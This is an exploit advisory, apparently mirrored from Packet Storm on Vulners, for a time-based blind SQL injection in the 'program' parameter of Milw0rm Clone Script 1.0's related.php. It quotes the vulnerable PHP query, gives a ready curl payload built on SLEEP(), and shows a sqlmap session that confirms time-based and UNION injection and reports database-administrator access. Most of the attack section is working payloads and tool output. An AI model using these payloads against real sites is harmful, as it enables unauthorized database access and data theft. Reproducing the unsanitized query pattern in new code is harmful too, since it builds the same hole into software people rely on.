Lucene search
K

Milw0rm Clone Script 1.0 SQL Injection

🗓️ 19 May 2015 00:00:00Reported by pancakerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

Milw0rm Clone Script 1.0 SQL Injection on Ubuntu 10.04 with SQLma

Code
`<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>  
| Exploit Title: Milw0rm Clone Script v1.0 - (time based) SQLi |  
| Date: 05.19.2015 |  
| Exploit Daddy: pancaker |  
| Vendor Homepage: http://milw0rm.sourceforge.net/ |  
| Software Link: http://sourceforge.net/projects/milw0rm/files/milw0rm.rar/download |  
| Version: v1.0 |  
| Tested On: Ubuntu 10.04 |  
|><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><|  
| SHOUTout: milw0rm &&& your mums pancakes |  
| CALLINGout: hak5 {crap to the core} &&& 1337day/inj3ct0r {scamm3rs + l33ch3rs} |  
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>  
  
  
  
  
### vuln codez related.php ###  
<?  
include("include/functions.php");  
  
$related = htmlspecialchars(trim($_GET['program'])); <-- this isnt going to save u  
  
$query = mysql_query("SELECT * FROM `exploits` WHERE `r`='".$related."'"); <- might as well b a straight get request lololol owned  
$row = mysql_num_rows($query);  
if($row){  
?>  
<html>  
<head>  
<title><? echo SiteInfo('site_name');?> - exploits : vulnerabilities : videos : papers : shellcode</title>  
..zzz...  
  
  
  
  
  
### manual ###  
  
root@woop:~# zzz='10'  
root@woop:~# lulz="program=hak5'%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP($zzz)))a)%20AND%20'shit'='shit"  
root@woop:~# time curl "http://localhost/milw0rm/related.php?$lulz"  
  
real 0m10.008s  
user 0m0.004s  
sys 0m0.004s  
  
  
  
  
  
  
### sqlmap ###  
  
root@woop:~/sqlmap# python sqlmap.py -u 'http://localhost/milw0rm/related.php?program=lol' --current-user --is-dba  
_  
___ ___| |_____ ___ ___ {1.0-dev-e8f87bf}  
|_ -| . | | | .'| . |  
|___|_ |_|_|_|_|__,| _|  
|_| |_| http://sqlmap.org  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
  
[*] starting at 09:46:53  
  
[09:46:53] [INFO] resuming back-end DBMS 'mysql'  
[09:46:53] [INFO] testing connection to the target URL  
[09:46:53] [INFO] heuristics detected web page charset 'UTF-8'  
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:  
---  
Parameter: program (GET)  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)  
Payload: program=lol' AND (SELECT * FROM (SELECT(SLEEP(5)))yYCj) AND 'mQUB'='mQUB  
  
Type: UNION query  
Title: MySQL UNION query (NULL) - 8 columns  
Payload: program=lol' UNION ALL SELECT NULL,CONCAT(0x7170707171,0x77775a6355684c45565a,0x7176717671),NULL,NULL,NULL,NULL,NULL,NULL#  
---  
[09:46:53] [INFO] the back-end DBMS is MySQL  
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)  
web application technology: PHP 5.3.2, Apache 2.2.14  
back-end DBMS: MySQL 5.0.12  
[09:46:53] [INFO] fetching current user  
current user: 'root@localhost'  
[09:46:53] [INFO] testing if current user is DBA  
[09:46:53] [INFO] fetching current user  
[09:46:53] [WARNING] reflective value(s) found and filtering out  
current user is DBA: True  
[09:46:53] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost'  
  
  
  
  
  
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>  
| >>> THIS 'EXPLOIT' IS SHIT LIKE ALL OF HAK5 'SHOWS' <<< |  
| <<< NOT TO BE (RE)PUBLISHED ON 1337DAY/INJ3CT0R >>> |  
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>  
  
__  
___________ ____ ____ _____ | | __ ___________  
\____ \__ \ / \_/ ___\\__ \ | |/ // __ \_ __ \  
| |_> > __ \| | \ \___ / __ \| <\ ___/| | \/  
| __(____ /___| /\___ >____ /__|_ \\___ >__|  
|__| \/ \/ \/ \/ \/ \/  
.........................cant be pr0 without ascii art  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 May 2015 00:00Current
0.2Low risk
Vulners AI Score0.2
32